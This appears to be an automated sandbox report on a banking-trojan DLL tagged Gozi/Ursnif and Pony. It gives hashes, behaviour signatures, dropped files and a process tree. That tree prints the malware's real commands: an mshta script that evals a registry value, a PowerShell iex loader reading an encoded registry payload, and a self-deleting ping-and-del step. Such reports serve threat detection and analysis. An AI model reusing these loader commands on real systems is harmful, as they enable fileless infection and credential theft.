Overview

overview

10

Static

static

434.dll

windows7_x64

10

434.dll

windows10_x64

10

Analysis

  • max time kernel
    150s
  • max time network
    136s
  • platform
    windows10_x64
  • resource
    win10
  • submitted
    13-07-2020 16:54

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General

  • Target

    434.dll

  • Size

    367KB

  • MD5

    7e9c8822be0f73073ce2cc5ef5a13c96

  • SHA1

    10b2f8667db53eaf1b85a209d9b80b834425167f

  • SHA256

    bd6840cc208517847e130db0c847e715ba80a88e210e6383b37c1d0381877ee5

  • SHA512

    120bfec74eed70dc19d7aff9ed8dc392616a6c652f4c7b3f642219c6d5203038e66cef65e67b79041b8653b65021e2402b3cfc0f3b6850afd1d13e2a03637118

Score
10/10
ratspywarestealerponydiscoverybankertrojangozi_ifsbursnif

Malware Config

Signatures

  • Suspicious behavior: EnumeratesProcesses 1199 IoCs
  • Suspicious use of FindShellTrayWindow 4 IoCs
  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

    spyware
  • Runs ping.exe 1 TTPs 1 IoCs
  • Suspicious use of SetThreadContext 7 IoCs
  • Suspicious use of AdjustPrivilegeToken 76 IoCs
  • Executes dropped EXE 1 IoCs
  • Suspicious use of SetWindowsHookEx 16 IoCs
  • Suspicious behavior: CmdExeWriteProcessMemorySpam 1 IoCs
  • Ursnif, Dreambot

    Ursnif is a variant of the Gozi IFSB with more capabilities.

    bankertrojanursnif
  • Suspicious use of WriteProcessMemory 67 IoCs
  • Gozi, Gozi IFSB

    Gozi ISFB is a well-known and widely distributed banking trojan.

    bankertrojangozi_ifsb
  • Looks up external IP address via web service 1 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Program crash 1 IoCs
  • Pony,Fareit

    Pony is a Remote Access Trojan application that steals information.

    ratspywarestealerpony
  • Checks whether UAC is enabled 5 IoCs
  • Modifies Internet Explorer settings 1 TTPs 52 IoCs
    adwarespyware
  • Checks for installed software on the system 1 TTPs 7 IoCs
    discovery
  • Reads data files stored by FTP clients 2 TTPs

    Tries to access configuration files associated with programs like FileZilla.

    spyware
  • Suspicious behavior: MapViewOfSection 5 IoCs

Processes

  • C:\Windows\Explorer.EXE
    C:\Windows\Explorer.EXE
    1⤵
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of SetThreadContext
    • Suspicious use of WriteProcessMemory
    • Suspicious behavior: MapViewOfSection
    PID:2988
    • C:\Windows\system32\rundll32.exe
      rundll32.exe C:\Users\Admin\AppData\Local\Temp\434.dll,#1
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:3044
      • C:\Windows\SysWOW64\rundll32.exe
        rundll32.exe C:\Users\Admin\AppData\Local\Temp\434.dll,#1
        3⤵
        • Suspicious use of SetThreadContext
        • Suspicious use of WriteProcessMemory
        PID:3888
        • C:\Windows\SysWOW64\svchost.exe
          C:\Windows\System32\svchost.exe
          4⤵
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of SetThreadContext
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of WriteProcessMemory
          • Checks for installed software on the system
          PID:3832
          • C:\Windows\SysWOW64\cmd.exe
            cmd /K
            5⤵
              PID:1892
            • C:\Windows\SysWOW64\svchost.exe
              C:\Windows\System32\svchost.exe
              5⤵
              • Suspicious use of AdjustPrivilegeToken
              PID:4016
            • C:\Users\Admin\AppData\Local\Temp\BN220A.tmp
              C:\Users\Admin\AppData\Local\Temp\BN220A.tmp
              5⤵
              • Executes dropped EXE
              PID:3004
          • C:\Windows\SysWOW64\WerFault.exe
            C:\Windows\SysWOW64\WerFault.exe -u -p 3888 -s 660
            4⤵
            • Suspicious behavior: EnumeratesProcesses
            • Program crash
            PID:3696
      • C:\Windows\System32\mshta.exe
        "C:\Windows\System32\mshta.exe" "about:<hta:application><script>resizeTo(1,1);eval(new ActiveXObject('WScript.Shell').regread('HKCU\\\Software\\AppDataLow\\Software\\Microsoft\\2FFAFA40-C261-3936-44D3-167DB8B7AA01\\\Addrient'));if(!window.flag)close()</script>"
        2⤵
        • Suspicious use of WriteProcessMemory
        PID:952
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" iex ([System.Text.Encoding]::ASCII.GetString(( gp "HKCU:Software\AppDataLow\Software\Microsoft\2FFAFA40-C261-3936-44D3-167DB8B7AA01").appiness))
          3⤵
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of SetThreadContext
          • Suspicious use of WriteProcessMemory
          • Suspicious behavior: MapViewOfSection
          PID:1320
          • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
            "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\t5mgvxnp\t5mgvxnp.cmdline"
            4⤵
            • Suspicious use of WriteProcessMemory
            PID:3532
            • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
              C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES2E2A.tmp" "c:\Users\Admin\AppData\Local\Temp\t5mgvxnp\CSC8F49BDF4202F413796843AEF48E57DFD.TMP"
              5⤵
                PID:1720
            • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
              "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\kymfvkxk\kymfvkxk.cmdline"
              4⤵
              • Suspicious use of WriteProcessMemory
              PID:2056
              • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
                C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES2EC6.tmp" "c:\Users\Admin\AppData\Local\Temp\kymfvkxk\CSC6113323816814A8F8C4E6E4EF44A387.TMP"
                5⤵
                  PID:3980
          • C:\Windows\System32\cmd.exe
            "C:\Windows\System32\cmd.exe" /C ping localhost -n 5 && del "C:\Users\Admin\AppData\Local\Temp\BN220A.tmp"
            2⤵
            • Suspicious use of SetThreadContext
            • Suspicious use of WriteProcessMemory
            • Suspicious behavior: MapViewOfSection
            PID:3688
            • C:\Windows\system32\PING.EXE
              ping localhost -n 5
              3⤵
              • Runs ping.exe
              • Suspicious behavior: CmdExeWriteProcessMemorySpam
              PID:1924
          • C:\Windows\system32\cmd.exe
            cmd /C "nslookup myip.opendns.com resolver1.opendns.com > C:\Users\Admin\AppData\Local\Temp\72B.bi1"
            2⤵
            • Suspicious use of WriteProcessMemory
            PID:2900
            • C:\Windows\system32\nslookup.exe
              nslookup myip.opendns.com resolver1.opendns.com
              3⤵
                PID:360
            • C:\Windows\system32\cmd.exe
              cmd /C "echo -------- >> C:\Users\Admin\AppData\Local\Temp\72B.bi1"
              2⤵
                PID:2052
              • C:\Program Files\Windows Mail\WinMail.exe
                "C:\Program Files\Windows Mail\WinMail" OCInstallUserConfigOE
                2⤵
                  PID:2972
              • C:\Windows\System32\RuntimeBroker.exe
                C:\Windows\System32\RuntimeBroker.exe -Embedding
                1⤵
                  PID:3356
                • C:\Program Files\Internet Explorer\iexplore.exe
                  "C:\Program Files\Internet Explorer\iexplore.exe" -Embedding
                  1⤵
                  • Suspicious use of FindShellTrayWindow
                  • Suspicious use of SetWindowsHookEx
                  • Suspicious use of WriteProcessMemory
                  • Checks whether UAC is enabled
                  • Modifies Internet Explorer settings
                  PID:3732
                  • C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE
                    "C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:3732 CREDAT:82945 /prefetch:2
                    2⤵
                    • Suspicious use of SetWindowsHookEx
                    • Checks whether UAC is enabled
                    • Modifies Internet Explorer settings
                    PID:668
                • C:\Program Files\Internet Explorer\iexplore.exe
                  "C:\Program Files\Internet Explorer\iexplore.exe" -Embedding
                  1⤵
                  • Suspicious use of FindShellTrayWindow
                  • Suspicious use of SetWindowsHookEx
                  • Suspicious use of WriteProcessMemory
                  • Checks whether UAC is enabled
                  • Modifies Internet Explorer settings
                  PID:2080
                  • C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE
                    "C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:2080 CREDAT:82945 /prefetch:2
                    2⤵
                    • Suspicious use of SetWindowsHookEx
                    • Checks whether UAC is enabled
                    • Modifies Internet Explorer settings
                    PID:2564
                  • C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE
                    "C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:2080 CREDAT:82952 /prefetch:2
                    2⤵
                    • Suspicious use of SetWindowsHookEx
                    • Checks whether UAC is enabled
                    • Modifies Internet Explorer settings
                    PID:856

                Network

                MITRE ATT&CK Enterprise v6

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                Downloads

                • C:\Users\Admin\AppData\Local\Temp\72B.bi1
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                • C:\Users\Admin\AppData\Local\Temp\72B.bi1
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                • C:\Users\Admin\AppData\Local\Temp\BN220A.tmp
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                • C:\Users\Admin\AppData\Local\Temp\BN220A.tmp
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                • C:\Users\Admin\AppData\Local\Temp\RES2E2A.tmp
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                • C:\Users\Admin\AppData\Local\Temp\RES2EC6.tmp
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                • C:\Users\Admin\AppData\Local\Temp\kymfvkxk\kymfvkxk.dll
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                • C:\Users\Admin\AppData\Local\Temp\t5mgvxnp\t5mgvxnp.dll
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                • \??\c:\Users\Admin\AppData\Local\Temp\kymfvkxk\CSC6113323816814A8F8C4E6E4EF44A387.TMP
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                • \??\c:\Users\Admin\AppData\Local\Temp\kymfvkxk\kymfvkxk.0.cs
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                • \??\c:\Users\Admin\AppData\Local\Temp\kymfvkxk\kymfvkxk.cmdline
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                • \??\c:\Users\Admin\AppData\Local\Temp\t5mgvxnp\CSC8F49BDF4202F413796843AEF48E57DFD.TMP
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                • \??\c:\Users\Admin\AppData\Local\Temp\t5mgvxnp\t5mgvxnp.0.cs
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                • \??\c:\Users\Admin\AppData\Local\Temp\t5mgvxnp\t5mgvxnp.cmdline
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                • memory/360-49-0x0000000000000000-mapping.dmp

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                • memory/668-26-0x0000000000000000-mapping.dmp

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                • memory/856-28-0x0000000000000000-mapping.dmp

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                • memory/1320-29-0x0000000000000000-mapping.dmp

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                • memory/1720-33-0x0000000000000000-mapping.dmp

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                • memory/1892-4-0x0000000000000000-mapping.dmp

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                • memory/1924-46-0x0000000000000000-mapping.dmp

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                • memory/1924-47-0x0000005389D07000-mapping.dmp

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                • memory/2052-50-0x0000000000000000-mapping.dmp

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                • memory/2056-37-0x0000000000000000-mapping.dmp

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                • memory/2564-27-0x0000000000000000-mapping.dmp

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                • memory/2900-48-0x0000000000000000-mapping.dmp

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                • memory/2972-53-0x0000000000000000-mapping.dmp

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                • memory/2972-54-0x00000015A7C7D000-mapping.dmp

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                • memory/3004-12-0x0000000001250000-0x0000000001251000-memory.dmp

                  Filesize

                  4KB

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                • memory/3004-8-0x0000000000000000-mapping.dmp

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                • memory/3004-11-0x0000000000F96000-0x0000000000F97000-memory.dmp

                  Filesize

                  4KB

                  Download

                • memory/3532-30-0x0000000000000000-mapping.dmp

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                • memory/3688-45-0x000000D67F48A000-mapping.dmp

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                • memory/3688-44-0x0000000000000000-mapping.dmp

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                • memory/3696-16-0x00000000045E0000-0x00000000045E1000-memory.dmp

                  Filesize

                  4KB

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                • memory/3696-21-0x0000000004D60000-0x0000000004D61000-memory.dmp

                  Filesize

                  4KB

                  Download

                • memory/3832-1-0x0000000002370000-0x0000000002379000-memory.dmp

                  Filesize

                  36KB

                  Download

                • memory/3832-2-0x0000000002372960-mapping.dmp

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                • memory/3832-3-0x0000000002370000-0x0000000002379000-memory.dmp

                  Filesize

                  36KB

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                • memory/3888-25-0x0000000000F20000-0x0000000000F21000-memory.dmp

                  Filesize

                  4KB

                  Download

                • memory/3888-0-0x0000000000000000-mapping.dmp

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                • memory/3888-19-0x0000000000000000-mapping.dmp

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                • memory/3888-20-0x0000000000000000-mapping.dmp

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                • memory/3888-24-0x0000000000000000-mapping.dmp

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                • memory/3888-17-0x0000000000000000-mapping.dmp

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                • memory/3888-18-0x0000000000000000-mapping.dmp

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                • memory/3888-23-0x0000000000000000-mapping.dmp

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                • memory/3888-22-0x0000000000000000-mapping.dmp

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                • memory/3980-40-0x0000000000000000-mapping.dmp

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                • memory/4016-6-0x000000000BC01067-mapping.dmp

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                • memory/4016-5-0x000000000BC00000-0x000000000BC12000-memory.dmp

                  Filesize

                  72KB

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                • memory/4016-7-0x000000000BC00000-0x000000000BC12000-memory.dmp

                  Filesize

                  72KB

                  Download